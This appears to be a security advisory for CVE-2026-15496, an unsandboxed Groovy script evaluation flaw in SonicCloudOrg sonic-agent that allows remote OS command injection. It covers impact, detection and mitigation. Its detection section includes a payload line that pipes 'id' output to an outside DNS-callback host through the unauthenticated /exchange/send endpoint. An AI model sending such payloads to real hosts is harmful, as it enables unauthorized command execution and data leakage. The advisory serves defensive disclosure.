Command Injection in SonicCloudOrg Sonic-Agent

Executive Summary

CVE-2026-15496 is a critical vulnerability in the SonicCloudOrg sonic-agent software up to version 2.7.2. It arises from unsandboxed execution of Groovy scripts in the Groovy Script Handler component, specifically in the file GroovyScriptImpl.java. The vulnerability allows an attacker to perform OS command injection remotely by sending crafted Groovy scripts that are evaluated without any security restrictions.

The root cause is that the agent uses GroovyShell to evaluate user-supplied scripts without sandboxing or security policies, granting full access to the Java/Groovy standard library and enabling arbitrary OS command execution.

There are two exploitation paths: one allows unauthenticated remote code execution via a public endpoint, and the other requires low-privilege authenticated access to create malicious test cases. The vulnerability can lead to full code execution as root on the host.

Useful 0 Not Useful 0

Compliance Impact

This vulnerability allows remote code execution as root on affected SonicCloudOrg sonic-agent hosts, enabling attackers to perform actions such as data exfiltration, device control, lateral movement, and supply chain compromise.

Such unauthorized access and potential data breaches could lead to violations of common standards and regulations like GDPR and HIPAA, which mandate strict controls over personal and sensitive data protection.

The ability to exfiltrate credentials and sensitive files increases the risk of non-compliance with these regulations, potentially resulting in legal and financial consequences for affected organizations.

Useful 0 Not Useful 0

Impact Analysis

This vulnerability can have severe impacts including full remote code execution as root on the affected host, which can lead to persistence mechanisms such as installing SSH keys or cron jobs.

• Data exfiltration, including sensitive files like APKs and credentials.
• Complete device control, for example through Android Debug Bridge (ADB) access.
• Lateral movement within the network, potentially compromising other systems.
• Supply chain compromise in CI/CD environments, affecting software build and deployment processes.

Useful 0 Not Useful 0

Detection Guidance

This vulnerability can be detected by attempting to execute Groovy script payloads that trigger OS command execution on the sonic-agent. One method is to send crafted POST requests to the unauthenticated /exchange/send endpoint with Groovy scripts that perform simple commands such as 'id' or DNS callbacks.

• Send a POST request with a Groovy script payload that executes a command like: ping -c 1 $(id|base64).your.dnslog.cn to verify blind execution via DNS callbacks.
• Execute Groovy scripts that run commands such as 'id' to confirm command injection capability.
• Check for exposed Sonic instances on your network that respond to the /exchange/send endpoint without authentication.

Useful 0 Not Useful 0

Mitigation Strategies

Immediate mitigation steps include restricting or disabling the execution of Groovy scripts on the sonic-agent, especially via the /exchange/send endpoint, and running the agent with the least privileges possible.

• Replace the use of GroovyShell with a sandboxed evaluator using SecureASTCustomizer and CompilerConfiguration to restrict script capabilities.
• Run the sonic-agent as a non-root user, especially in Docker environments, to limit the impact of potential exploitation.
• Execute Groovy scripts in isolated subprocesses with restricted access to system resources.
• Implement static analysis to block dangerous patterns such as Runtime or ProcessBuilder usage in scripts.
• Log all script executions along with author details to monitor for suspicious activity.

Useful 0 Not Useful 0